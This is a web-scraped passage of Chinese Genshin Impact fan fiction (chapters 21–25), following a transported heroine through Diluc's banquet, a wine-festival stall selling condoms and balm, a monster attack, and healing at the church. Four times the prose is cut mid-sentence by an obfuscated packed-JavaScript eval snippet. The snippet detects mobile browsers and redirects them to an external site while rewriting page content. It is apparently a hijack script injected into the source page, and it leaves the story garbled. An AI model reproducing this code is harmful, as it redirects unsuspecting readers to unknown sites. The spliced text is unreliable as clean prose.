那个拥有海藻般头发的贵族女孩，羞红着脸被推出了人群，睫毛低垂，手指绞着裙摆，脚尖不自觉地磨蹭着地面。 而那个被青棠盖章为封建余孽的男人，则威胁似的抵着她的后背，眼尾弯出了谄媚的弧度，一双眼珠紧紧黏在迪卢克身上。 恰在此时，又一首舞曲结束，男人朗声笑道：“迪卢克老爷，请容许我为您引荐我的明珠。” 乐声渐息，这番话实在太引人注目，方才被迪卢克打发走的那些人纷纷投来仇视的目光。 男人却恍若未觉，自顾自地说道：“她发间这枚冰晶石发簪采自我们家族最深处的矿脉，唯有纯洁无瑕的少女才能配戴它。” 这话一出，那些充满仇恨的目光顿时黯然了一瞬，变成了咬牙切齿又无可奈何的嫉恨。 仿佛在说——这老登也太下血本了，为了讨好迪卢克老爷，连家里的矿都愿意拱手相让？！ 可是没办法，谁让人家有矿呢？难道迪卢克真会答应联姻…… 青棠看着这群人精彩纷呈的脸色，瞬间燃起了吃瓜的兴奋。 终于还是躲不开狗血文的套路吗？豪门撕逼环节？！ 剑拔弩张的氛围里，她觉得自己表现得像上蹿下跳的猹不太好，于是想掩饰一下，但又掩饰不住，只好扭过头跟凯亚分享：“这人的相亲话术……你怎么了？” 凯亚宛如凝固的雕塑，一动不动地坐在原地，垂落的睫毛在眼下投出两片青灰的阴翳。灯光切过他的鼻梁，留下一道薄而脆的剪影，仿佛轻轻一碰就会碎裂。 这浓浓的破碎感让青棠话音一顿，一句“你没事吧”还没问出口，就听到那边有人出言奚落： “瞧瞧这女孩……多么别致的装扮，除了家族的矿脉，也没有什么能拿出来夸耀的了吧。” “你没事吧”突然就变了语意和目标，青棠倏地扭过头。 就见到迪卢克面如冰霜，而刚才还在露台上神采奕奕看日落的少女，此时肩膀微微颤抖，难堪地低下了头。 青棠猛地抄起酒杯。 就在这时，凯亚忽然拉住了她：“你要干什么？” 考虑到双方的力量差距，凯亚并没有使劲，但胳膊肘传来的力道仍然有些重。 青棠咬牙掰开他的手，一字一句地说：“我是社会主义战士，见不得别人受苦。” 说完，她趁着没人注意，走过去牵起少女的手：“大叔，你问过这位小姐的意见了吗？” 另一只手攥着杯子，眼睛紧盯着对方的太阳穴。 第一次做狗血小说里见义勇为的主角，青棠难免有些紧张，她心想如果这人敢动手，那她就用这个玻璃杯给他开瓢。 被当众质问，那贵族男人的面颊骤然涨得通红，嗓音像淬了毒的冰刃：“哪里冒出来的野丫头？这里没有你说话的份！” 手心摸到一层冷汗，青棠余光瞥见少女不安的神色，轻轻捏了捏她的手指，凛然不惧地回击： “你又是哪里来的老登？哪个下水道没盖好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515726|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你爬出来了？臭泥鳅沾点盐水就把自己当海鲜了！” 男人暴怒，五指猛地收紧，手臂高高扬起：“你——” 话音未落，一只骨节分明的手突然从斜里伸出来，铁钳般扣住他悬在半空的手腕。 “咔”一声脆响，男人的五官骤然扭曲，额角冷汗涔涔，惨叫险些冲破喉咙，又一咬牙咽了下去。 “为了不让这场宴会成为笑柄，我只能请您出去了。” 迪卢克神情漠然，语速不疾不徐，措辞还怪有礼貌的，仿佛差点折断对方手骨的不是他。 “不——” 男人还想挣扎，但侍卫已经闻讯赶来，一左一右把他拖走了。 做完这些，迪卢克朝着一语不发的少女微一低头，致歉道：“影响您品酒的心情了，接下来请尽情享受这场宴会吧。” 少女的指尖在裙褶上收紧又松开，酝酿了许久的话在唇齿间发烫：“迪卢克老爷，其实我……” “抱歉。”意识到她要说什么，迪卢克及时打断她的话。 熟练，彬彬有礼，又在这么多人面前给女孩子保留了体面。 接着，迪卢克又出言安抚其他受到惊吓的客人。 围观人群见到少女情窦初开的表白被掐断，瞬间索然无味，各自开启了新的八卦话题。 等场面再次热闹起来时，迪卢克望向青棠紧握酒杯的手。 “嘿嘿。”青棠讪笑一声，松开犯罪未遂的手，为晨曦酒庄保住了一个无辜的玻璃杯。 风波过去，她本想回到休息区，却看到迪卢克很不明显地转了一下头，视线在空中顿了一瞬，然后又像被烫到似的很快移开。 她疑惑地朝着那个方向望去，就见到凯亚恰好在此时垂下了眼眸，空气中仿佛还残留着两人的视线擦出的火花。 青棠：“……？” 宴会持续到深夜。 散场时，考虑到最近蒙德近郊不太平，凯亚拒绝了爱德琳的挽留，选择送青棠回城。 整个宴会后半程，凯亚沉默得异乎寻常。等到了蒙德城门，凯亚道别后又试图去往天使的馈赠时，青棠终于忍不住问道： “你不开心吗？” 凯亚含糊地“唔”了声。 “是因为那个女孩吗？” 凯亚没有说话。 青棠想自己应该是猜对了。 凯亚是坎瑞亚人，不管他和迪卢克的观念差异有多大，对方都是他在蒙德唯一的亲人。 晨曦酒庄就是他的家，他对嫂子有要求，或者他不想让迪卢克去联姻，这都可以理解。 青棠想了想：“你讨厌她吗？” 凯亚望着蓬松的蒲公英，哑着嗓子说：“不，我羡慕她。” 青棠：“？” 一阵风吹来，蒲公英晃了晃，千百柄白色小伞倏地绽开，挣脱引力束缚，自由地飘向天空。 凯亚的目光随之而动，他重复道：“能够坦荡地将爱意宣之于口，是让人羡慕的自由啊。” 青棠：“？？？” 你想做自己的嫂子？！ 青棠好险没有问出这句话，但她感觉自己触碰到了真相。 除了迪卢克，全蒙德还有谁能让凯亚发出这样的感慨呢？ 他可以撩遍所有人，唯独不能表示自己喜欢迪卢克。 因为他们是兄弟。 22.第 22 章 经历过公钟的冲击，青棠觉得她已经是个成熟的产品姐了。 比如现在，她没有再怀疑人生，而是冷静地想着——不就是枭羽吗？这集我嗑过啊！ 既然凯亚都这样剖白了，那迪卢克呢？他知道凯亚的心意吗？他对义弟又是什么想法？ 这些问题好像有点为难满脸都写着性冷淡的人了…… 等等。 一道灵光闪过脑海，青棠忽然想起会客室里，迪卢克看到小玩具时异常激烈的反应。 那究竟是因为迪卢克觉得这些东西不堪入目，还是因为她的话歪打正着，正中他的下怀——他真的想过囚禁什么人？ 那个人是谁呢？好难猜喔。 此时应有完美推理的BGM响起，青棠怜爱地看了眼凯亚，好心提醒道：“你现在去天使的馈赠，明天迪卢克就要找你麻烦了。” “哦？”凯亚很不甘心，“你现在是他的说客了吗？” 青棠啧了声，理直气壮地反驳：“区区几十万订单就能收买我吗？我是这种见利忘义的人吗？” 凯亚的眼神充满怀疑。 青棠推着他往城里走，到了旅馆，趁他不注意把他拽进门，然后猛地给大门落锁。 “欸我还真是！这门我锁死了，今天谁也别想走——歌德老板，再给他开间房！” …… 三天后，佳酿节开幕。 天空澄澈如洗，果酒湖畔搭起大大小小的摊位，整座城市仿佛浸泡在美酒之中，连风都被熏出了酒味，吹在脸上甜丝丝的。 “迪奥娜特调——” 粉毛猫猫站在特制的垫脚凳上，将冰镇树莓汁倒入摇酒壶。 花纹斑斓的猫尾随着摇酒的动作一上一下，猫奴青棠感觉自己被逗到了，手有点痒，很想摸摸。 “砰！”计划还没付诸实践，迪奥娜猛地将摇酒壶砸在吧台上。 在众人惊叹的目光中，她将酒液倒入玻璃杯，推给面前的客人，双臂交叉抱在胸前，一脸恶作剧的表情：“喏，喝吧！” 然而，当客人小心翼翼地抿了一口后，眼睛一瞬间睁大了。 “这……这太不可思议了！酸甜清爽，烈度恰到好处，完全不会刺激喉咙！我还可以喝十杯！” “呃啊……”听到这个评价，迪奥娜气得直跺脚，扭过头小声抱怨道，“可恶，又失败了……分明加了过量的蜥蜴尾巴！” 这位猫咪小姐立志摧毁蒙德酒业，可惜她拥有无与伦比的调酒天赋，于是效果适得其反。 周围的客人不仅没有如她所愿，露出厌恶的神情，反倒为新品折服，纷纷嚷着“再来一杯”。 “哎呀，这位小姐可以请我喝酒吗？”一道声音突然在身后响起。 青棠转过身，果然见到一个一般路过的吟游诗人。 温迪看着猫尾酒馆摊位后的迪奥娜，眼神垂涎又畏惧。 这位风神大人呐，拥有移山填海的神力，偏偏对猫毛过敏。 青棠扬起嘴角，抬步就走：“不要，我还要去我的摊位呢。” “欸！”手腕立刻被人抓住。 温迪眨巴着大眼睛，哀求道：“求求你啦，帮我买一杯吧，风神会护佑好心的小姐的。” 你说清楚是护佑还是忽悠呢？ 青棠露出戏谑的表情，正想再逗逗温迪，猫尾酒馆对面的摊位突然爆发出热烈的欢呼声。 两人不约而同地扭过头。 天使的馈赠招牌底下，迪卢克亲身上阵，火红的头发高高束起，一身酒保马甲干净利落，袖口挽到手肘，小臂肌肉线条流畅。 银色的容器在他手中划出令人眼花缭乱的弧线，冰块与金属杯壁碰撞的声音清脆悦耳。 摊位前的少女们再次发出惊呼，唐娜小姐挥着不知从哪里买来的荧光棒：“迪卢克老爷——” 温迪顿时被吸引了目光，果断远离邪恶的猫毛领域，头也不回地去了天使的馈赠。 青棠对这位见风使舵的风神大人感到无奈，看到各家店铺都拿出压箱底的东西招揽顾客了，她便也不再闲逛，直接去了自己的摊位。 那些装玩具的箱子，昨晚就请骑士团帮忙运到这边了。 青棠拆开封条，将礼盒摆成漂亮的金字塔，然后拿出香膏放到桌上，又掏了把扇子出来。 开盖的瞬间，香膏的味道就在檀木盒中苏醒了。起初只是幽微的一缕，如游丝般浮荡在空气里。随着折扇轻摇，清甜便悄然渗入酒香。不一会儿，整片区域都弥漫着霓裳花的香味，馥郁芬芳。 “我天，好香啊！” “这是什么味道？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525619|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是错觉吗？我的酒变甜了！” 惊叹的声音在人群中蔓延，不多时便有两人循着花香过来问价：“老板，这香膏怎么卖啊？” 青棠认出这是刚才在猫尾酒馆扬言要喝十杯的人，她报出一个价格：“两件九折，三件八折。” 对方当即皱起了眉头。 “这是联名款喔。”青棠取出早就准备好的礼盒，“买香膏送小玩具，单人款和情侣款任选。” 对方打开盒子，往里面瞅了一眼，露出了一个既不乐意单人又没有情侣的酒痴表情。 另一人耸了耸肩：“我看还是算了吧，这价格足够在猫尾酒馆和天使的馈赠喝一宿了。” 青棠：“……” 她算是看出来了，这俩人的脑浆都是酒精泡出来的。 她立刻转换策略，诱哄道：“可是迪奥娜的新品搭配这块香膏，味道肯定很惊艳吧。蜜渍的甜，混着微酸的果香……” 话没说完，她看到对方忍不住咽了咽口水，然后“啪”地扣上盒盖，拍板道：“我买了！” “好嘞！”青棠喜笑颜开，美滋滋地给他装袋，“祝老板恭喜发财，想喝茅台就喝茅台！” 送走这两位客人，后面又有不少人过来询价。 半天过去，青棠摇扇子摇得手酸，数了数礼盒的销量，感觉跟预期还是有点差距。 这样售卖效率太低了。 她想起那位不知躲在哪里喝酒的风神大人……如果温迪愿意帮她做个台风级全自动风扇的话，请他喝酒也不是不行。 想到这里，青棠丢下扇子，请旁边的哥们帮忙看着摊位，自己则出门去找温迪。 她在天使的馈赠买了葡萄汁。 太阳伞下坐着三三两两聊天的人群。迪卢克只是过来热场，这会儿已经不在这里了。而让她没想到的是，温迪居然也不在。 青棠咬着吸管，一边闲逛一边搜寻那个绿色的身影。 结果吟游诗人没找到，鼻尖先嗅到了熟悉的味道。 甜甜的、阳光晒过的暖香…… 青棠疑惑地停下脚步，左右瞧了瞧，鼻子微微耸动，然后视线锁定了路边的垃圾桶。 不妙的预感涌上心头，她快步走过去，往里头看了一眼，顿时两眼一黑，差点气晕过去。 23.第 23 章 就在青棠站在垃圾桶面前唉声叹气的时候，一道平稳的声音突然从身后传来：“原来可莉说的漂亮姐姐，就是青棠老师。” “阿贝多老师？”青棠瞬间认出了这个声音，诧异地扭过头。 这一扭头，她就忍不住想骂一句，原神建模师你真该死啊！ 你是怎么忍心把阿贝多的发量做得和立绘毫不相干，看起来就像个秃秃的小孩的？！ 事实根本不是这么回事啊！ 眼前的人淡金色齐肩短发微微蓬松，被扎成了优雅的小揪揪，身高与少年人无异，脸上的神情却是与外表不符的稳重。 ——“爹系少年感”这个词就是为他发明的吧？！ 现在终于轮到青棠问出这句话了：“你认识我？” “除了研究和画画之外，我偶尔也会从小说和绘本里寻找灵感。上个月，北国银行刊印的时尚风尚十分有趣。青棠老师的笔下，人体结构精准，色彩大胆鲜艳，画面动线也很会抓人眼球。” 阿贝多湖绿色的眼睛平静如潭，说话时语速不徐不疾，从容地落在听者耳畔，有种娓娓道来的感觉，让他的话多了几分信服力。 青棠感动得眼泪汪汪的，还有什么能比言之有物的夸奖，更能让一个画师高兴的呢？更何况夸奖她的人还是业内的大师！ 不过这高兴还没维持几秒，阿贝多就一盆凉水泼了过来。 “青棠老师很擅长描绘人体和服装设计，静物倒是有些生疏，是在研究垃圾桶的结构吗？” 青棠：“……” 哈哈，谁不是这样呢？ 为爱发电搞同人的时候各种体位信手拈来，一到考试就是一支笔一包烟一个矿泉水瓶画一天。 此时此刻，青棠也想点根烟，虽然她不抽烟，但似乎也没有更能烘托她沧桑心情的东西了。 她指着垃圾桶，撇过头去，不忍心再看，只幽幽地叹了口气：“我的设计都变成了垃圾！这些没眼光的人还不分类，我真想报警把他们抓起来罚款五百！” 这只垃圾桶被杂物填满了一半，一只小口袋蜷缩在果皮纸屑之间，与周围的腐烂物格格不入，可怜地散发着霓裳花的味道。 阿贝多低下头看了两眼，然后伸出手，探入桶里，拨开垃圾，两指夹起那个小口袋。 “欸……”他动作太快，青棠没来得及阻止，眼睁睁看着他把东西掏出来，嘟囔道，“好脏的……” 好在阿贝多身为骑士团首席炼金术士，见惯了辣眼睛的东西，手套也常年不离身。 他清理着口袋表面的污秽物，连眉头都没皱。 包装袋已经被人撕开了一半，阿贝多顺着缝隙，用手指勾出一个半透明的塑料薄膜。 他看着那东西光洁平滑的纹理，问青棠：“这就是安全套吗？” “是、是啊。” 孤男寡女站在垃圾桶旁边，一起盯着一个解开封印的安全套，这个场面很是怪异。 但阿贝多托着下巴，眼神太认真太正经，充满了对新鲜事物的探究，仿佛眼前的东西与花纹奇怪的龙晰没有什么区别。 于是青棠都没觉得羞耻，只顾着郁郁寡欢了：“他们买了我的联名礼盒，结果只想要春香窑的香膏，转头就把其他东西全扔了。” 她往前走了几步，翻开另一个垃圾桶，脸上的表情又裂开一分：“看起来这种人还不少。” “你的商品的确可以预防某些疾病，但蒙德人并不愿意因此改变他们根深蒂固的生活方式。” 阿贝多的话一针见血，翻译翻译就是——蒙德自有国情在此。 璃月人迅速接受了小玩具的存在，是因为他们的生活是利益导向的，一点小成本就可以省下治大病的钱，何乐而不为？ 但蒙德人不同。他们崇尚自由，社会风气也更趋向于及时行乐，想用健康这种理由来让他们改变生活习惯几乎不可能。 就像所有人都知道酗酒有害健康，但在深夜的酒馆，许多人还是会一杯接一杯地豪饮。 青棠深深地叹了口气：“难道只能不断地谋求联动，完全依靠捆绑销售来铺货了吗？” 可这种方法不仅成本极高，而且对于建立口碑是负作用。可以预见，只要这样来上几轮，就会有越来越多的人不买账。 她还有赌约在身呢，这么微薄的利润肯定没法让凝光满意。 看着她愁容满面，阿贝多温和地笑了笑：“那么，就让我作为第一个支持者，购买一套玩具吧。” “嗯？”青棠睁大眼睛，“原来你是这样的阿贝多老师！” “你误会了。”阿贝多解释道，“我与普通人的生理构造不同，并没有那些赤色的欲望。我只是觉得，既然这些玩具是青棠老师发明的，那么在人体结构的研究上，也许会带给我一些灵感。” 对喔，阿贝多是人造人，思想和人类截然不同——毕竟连行秋的科幻小说他都觉得有趣呢！ “那等阿贝多老师的研究有进展了，务必要指导我改良产品啊！”青棠边走边说，“这应该属于人体工程学的范畴吧……” “人体工程学？”阿贝多点头道，“这个名字倒是很合适。” 于是两人就项目名称展开了并不激烈的讨论，很快就并肩走回了合欢馆的摊位。 没有香膏飘香的加持，青棠离开的这段时间，果然一套小玩具和礼盒也没有卖出去。 惨淡的业绩让她很是郁闷，自从穿越以来，这还是她第一次遭遇事业滑铁卢呢。 以前即使有对家围追堵截散播流言蜚语，但至少顾客好评如潮，哪像现在根本无人在意。 青棠找出两套礼盒递给阿贝多，对方付完钱后，直接站在原地，拆开了包装的丝带。 旁边的摊位前，有顾客注意到阿贝多的出现，顿时觉得很稀罕，于是好奇地围了过来，想看看这位深居简出的炼金术士又在研究什么新奇的玩意。 围观人群越聚越多，青棠都要吐血了，早知道就在这里放个阿贝多立牌摆Pose，可能都比她的小玩具更有吸引力！ 阿贝多检查完整套小玩具，侧眸看到她气鼓鼓的模样，好笑道：“其实就炼金术而言，须弥教令院也有许多出色的成果。” 对于他跳跃的话题，青棠满脸懵逼：“嗯？” “但须弥的技术很难传到蒙德，除去高昂的运输成本之外，最重要的原因是它们水土不服。” “蒙德人并不是没有需求，只是他们不喜欢打破自己的生活习惯去适应新技术和新产品。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531811|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的商品只有去贴合他们的生活节奏，才能得到他们的认可。” “这是炼金术从实验室投入市场的过程中，我得到的感悟，希望能对你有所帮助。” 说完这段话，阿贝多就抱起礼盒，施施然地走了。 青棠托腮看着他的背影，大脑开始飞速运转。 符合客户生活习惯，这确实是现代产品设计中很重要的一项，但是她的这个产品…… 总不能满大街去发调查问卷，问你有什么doi习惯吧？ 社死不说，还很容易挨打。 排除产品端的改良，那就只能从营销端想办法了。 就像现代人每天都会刷短视频一样，蒙德人的日常习惯…… 思绪宛如纷杂的毛线，青棠刚抓住一点头绪，耳边忽然炸开一声惊天动地的巨响！ 她猛地抬起头，只见漫天箭矢织成了密不透风的罗网，裹挟着火光兜头压下，四面八方突兀地响起了“咯咯咯”的阴森笑声。 场面顿时混乱起来，人群四散奔逃，吧台桌椅翻倒，尖叫声、哭喊声、脚步声混作一团。 一只流血狗从阴影中扑出，一头撞翻酿酒台，玻璃器皿霎时爆裂飞溅，浆果与鲜血混在一起，在地面拖出黏腻的痕迹。 “啊——” 青棠来不及躲闪，只感觉到后背被冰冷的利爪撕开，紧接着整个人就像破布娃娃般摔了出去。 森冷的气息如影随形。 “救命啊——！” 就在染血的爪子近在咫尺时，一把雪亮的风鹰剑突然撞了上来，发出“锵”的脆响。 琴悍然迎上流血狗，腰间的风系神之眼亮得惊人，一道风涡从剑尖挥出，瞬间将怪物击退数十米。 琴团长双手执剑立于身前，神情紧绷，语气肃穆地命令道：“骑士团立刻疏散群众！” 其他守在外边的士兵显然也是做过应急演练的，立即用最短的时间分成几个小队，领着群众分头往蒙德城的方向撤离。 青棠忍着后背的剧痛，跟着人流往小路跑，刚跑到路口就刹停脚步，倒抽了一口凉气。 树丛里影影幢幢，站满了虎视眈眈的丘丘人和深渊法师。 她马上反应过来——这是一次有预谋的袭击！ 骑士团的士兵也没有预料到这种局面，一时间不敢轻举妄动，犹豫着要不要强行突围。 恐慌迅速在人群中蔓延，有人含着哭腔呜咽：“完了完了……” 青棠眼前阵阵发黑，不敢去想自己流了多少血，每次呼吸都牵动伤口，痛楚如潮水般层层漫开。 就在这时，一阵呼啸的风声从身后席卷而来。 不只是她，所有人都不由自主地踉跄了一步，人群就像被风吹过的麦浪那样摇晃了一下。 一支携带着飓风的箭矢，以肉眼难以分辨的速度从这茬小麦头顶擦过，而后“唰”的一声，掀翻了一片拦路的丘丘人，硬生生开辟出了一条安全的道路。 察觉到那股浓郁的风元素气息，青棠心头猛跳，倏地回过头。 一处不起眼的屋顶上，一个少年持弓而立，周身狂风肆虐而他岿然不动，只有披风微微鼓起。 箭尖的一抹寒芒映入青棠眼帘，下一秒她就晕了过去。 24.第 24 章 呜呜，太奶你别走…… 眼前是白茫茫的柔软云朵，头发花白的老人杵着拐杖，笑容慈祥，朝着青棠缓缓挥手。 身上是密密麻麻的疼痛，后背宛如被烧红的铁鞭猛然抽下，从肩胛骨到腰椎，整片肌肉在灼烧中痉挛。冷汗顺着脊背滑落，浸透衣料时又像硫酸腐蚀般刺痛。 忽然，一股清凉的气息注入身体，仿佛清泉在骨缝间潺潺流淌，所过之处灼痛被尽数抚平。 “哒~哒哒哒~哒~Kira！” 不知过了多久，天籁般的歌声浮出云端，涟漪似的漾开波纹，天堂的场景和太奶的虚影霎时裂成碎片，而后消散无踪。 青棠艰难地掀起眼皮。 视野中央是一双饱含担忧的湛蓝色眼瞳，它的主人脸型圆润柔和，皮肤白皙透亮，淡金色的双马尾微微卷曲，随着她吟唱的歌谣轻轻晃动，如同跳跃的音符。 日光透过教堂的彩窗，铺洒在她的身后，给她的轮廓镀上了圣洁的柔光，画面温柔安详。 青棠忍不住闭上了眼睛，觉得自己应该是见到了天使。 “欸，治愈术失败了吗？”天使的嗓音和她的长相一样温柔，只是带着那么一丝疑惑。 “嘁，麻烦。”一个冷酷的声音随之响起，下一秒青棠就感觉脸颊被冰凉的手指捏住，然后毫不留情地扯了扯，“还不醒吗？” “呜。”青棠吃痛地咧开嘴巴，“罗莎莉亚，你手太重了！” 她再次睁开眼，这次天使般的面庞离得稍远了些，取而代之的是身形高挑又瘦削的修女。 她的脸色苍白得几乎透明，唯有暗红色的瞳仁，为这张冷寂的脸添上了危险的生气。 那双摄人的眸子斜睨过来，罗莎莉亚松开手指，冷淡道：“快到下班时间了，我可不想因为赖床的娇气病人加班。” “别这样说嘛，罗莎莉亚。”双马尾少女递来温水，“谁也没有想到魔物会在佳酿节期间发动袭击，骑士团送来了很多伤员。” “谢谢你芭芭拉，我感觉伤势好多了。”青棠接过水杯，小口喝着，身后的冷汗渐渐干涸，紧绷的肌肉也跟着慢慢放松下来。 不愧是蒙德城的顶流爱豆，芭芭拉真的有治愈人心的能力。 受到病人的赞美，芭芭拉显而易见地开心，微笑着正想说点什么，房间门却突然被推开。 一个修女慌慌张张地跑进来：“不好了芭芭拉，有个病人发高烧了，你快去看看吧！” “好的，我马上就来。”芭芭拉脸上顿时浮现出焦灼的神情。 她扭过头，再次检查了一遍青棠的身体情况，叮嘱道：“抱歉青棠小姐，我要去照看其他的病人了，请你好好休息吧。” 说完，她越过罗莎莉亚，匆匆跟着那位修女走了。 房间里瞬间安静了，青棠和罗莎莉亚异口同声： “伤亡严重吗？” “不舒服可以告诉我。” 罗莎莉亚一顿，在病床边坐了下来，稍一摇头道：“大概是风神保佑吧，没有人死亡。但受伤的人很多，士兵加普通民众……现在都躺在西风教会。” 青棠想起了昏迷前看到的那个绿色身影，心想你说对了，这波还真是风神立大功了。 罗莎莉亚闲不住似的，摸出了匕首在指尖把玩，像极了狂刷手机坐等下班的社畜。 青棠抽了抽嘴角：“我没事了，你不用去照顾其他病人吗？” “我？”罗莎莉亚漫不经心地勾了勾唇，匕首尖挑起她的下巴，凉飕飕地说道，“我是处刑人，只擅长战斗和杀戮，负责拷问可疑人士——你、想试试吗？” 青棠：“……” 如果不是玩过原神，我都要被这压迫感吓到了。 看到她不仅没受到惊吓，还露出了“姐姐好飒”的表情，罗莎莉亚觉得很是无趣，撤了匕首，耸肩道：“你是璃月来的客人，如果有什么三长两短，骑士团和教会都会有麻烦，而我最讨厌麻烦。” 她站起来，瞟了眼机械钟：“现在我该下班了。先送你回旅馆，然后我再去酒馆。” “没意见的话，就走吧。” …… 以前玩游戏的时候没法感同身受，现在青棠亲身经历了，才发现深渊的力量对普通人的身体有着难以磨灭的伤害。 即使沐浴过芭芭拉的治愈光环，她也在旅馆修养了足足两周。 这两周发生了太多的事情。 首先是击退魔物后，虽然重开了美酒集市，但人流量远远比不上前几年，每家店铺都有不同程度的亏损，蒙德城内也人心惶惶。 为了安抚民心，琴代表骑士团公开道歉，承诺将会派出骑兵小队去调查魔物暴动的原因，并且彻底清剿它们的巢穴。 琴做致歉演讲的时候，青棠还蔫蔫地躺在旅馆里。 直到凯亚传来消息，告诉她那些货物完好无损，都被骑士团抢救了回来，她才终于打起了精神。 凯亚安排人把那些玩具和香膏运回旅馆的时候，正好是他出征去讨伐魔物的前一天。 青棠看着士兵在房间里忙进忙出，等到货搬完都退出去了，才悄悄问凯亚：“压力很大吧？” “怎么？”凯亚没有正面回答，而是笑道，“你该不会也像迪卢克那家伙，不相信我的实力吧？” 青棠欲言又止，心说他不是不相信你，他是担心你。 但征讨魔物之前告知对方某人的心意，好像和立Flag没什么区别，就很不吉利。 于是青棠选择了闭嘴。 “好吧。”见她沉默，凯亚似乎会错了意，倒是先招了，“是有那么点压力，深渊可不好对付啊。” 说这话时，他的语气带着微不可察的怜悯和惆怅。 不明真相的人或许会觉得他是在畏惧深渊教团的力量，但青棠却知道并非如此。 那些丘丘人深渊法师都是被诅咒的坎瑞亚遗民，它们半人不鬼漂泊无依地活在这个世界。 而从某种程度上来说，它们和凯亚同根同源。 失去家园和亲人的痛苦，别人怎样安慰都是徒劳，况且青棠也没法解释自己是如何知道他的身世，只能伸出手抱了抱他，轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553270|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道：“保护好自己。” 送走凯亚，没过一会儿，旅馆里又来一位不速之客。 青棠看着对方大摇大摆地翻进窗户，从她的床头柜上拿起凯亚刚送的苹果，毫不犹豫地开始啃，整个人都无语了：“巴巴托斯。” “诶嘿。”温迪的眼神清澈见底，既没有身份被拆穿的惊慌，也懒得维持半点神明的威严。 他凑到青棠面前，手背掩在嘴边，神神秘秘地说：“你果然都看到啦，要帮我保密噢。” 青棠：“……” 还有谁不知道你是风神吗？ 喔，全蒙德最虔诚的风神信徒——祈礼修女芭芭拉还不知道。 青棠深感离谱：“怎么会有神明吃病号的东西啊？！” 真是倒反天罡，等她病好了就去风神像下偷贡品！ 可惜这位风神大人惯会萌混过关，处理掉最后的苹果核，他比了个Wink，然后在青棠心肝颤的时候，直接转移了话题：“怎么样？给你的玩具店选好地址了吗？” “没有。”说起这个话题，青棠顿时蔫了，她把下巴搁在膝盖上，闷闷地说，“佳酿节我就只参加了半天，营销效果还特别差。” 她把佳酿节上的遭遇说给温迪听，对方沉吟片刻：“璃月的香膏吗？的确是极好的酿酒材料呢，还有吗还有吗？” 完全不在意玩具呢。 看着他眨巴的大眼睛，青棠火气蹭蹭往上涨：“你出去——” 请走这尊神，青棠仰面躺在枕头上，简直心如死灰。 为什么为什么？为什么所有人都只关心香膏啊？ 这个灵魂问题在脑子里不停地转圈，转得她头晕目眩之际，一道灵光忽然闪现。 对呀，璃月那么多出口商品，为什么只有春香窑的香膏销售额遥遥领先呢？ 答案很简单，就是因为它可以给酒水增添风味。 再联想到阿贝多的提示—— 蒙德人最普遍的生活习惯，不就是喝酒吗？ 青棠倏地坐起来，拳头砸在掌心，整个人豁然开朗。 要想在蒙德做推销，就得想方设法把自己的商品和酒联系起来，香膏就是成功案例。 但小玩具不比食材，肯定没法拿去酿酒。如何蹭到酒水的流量，还需要更多的灵感。 青棠翻身下床，双手撑着窗框，目光越过满街繁花，从楼下的面包店延伸到远处的酒馆。 和天使的馈赠搞联动？不，那只会走香膏的老路，顾客只关心酒馆的折扣，不Care她的玩具。 给猫尾酒馆的猫猫穿上情趣睡衣营业？呃、那对于人类的时装销售似乎并没有助益…… 青棠站在窗边，一个接一个否决脑海中冒出的想法。 直到天色渐晚，商铺的灯光渐次熄灭，夜风吹得她打了个喷嚏，依然没有想到合适的方案。 不过比起白天，现在至少有了大致方向，已经算重大突破了。 她关好窗，躺回大床，心满意足地阖上眼皮。 总之，明天先去天使的馈赠探探市场风口吧。 25.第 25 章 翌日，天使的馈赠。 此前，魔物的突然袭击让整个蒙德城陷入了恐慌，城内商铺的生意也因此萧条了数日。 直到今天骑士团正式出城征讨魔物，无疑给民众打了一针强心剂，一些酒鬼忍不住冒出了头，酒馆又恢复了往日的热闹。 青棠到的时候，酒馆里早已人声鼎沸，一楼和二楼加起来总共二十几张方桌，几乎座无虚席。 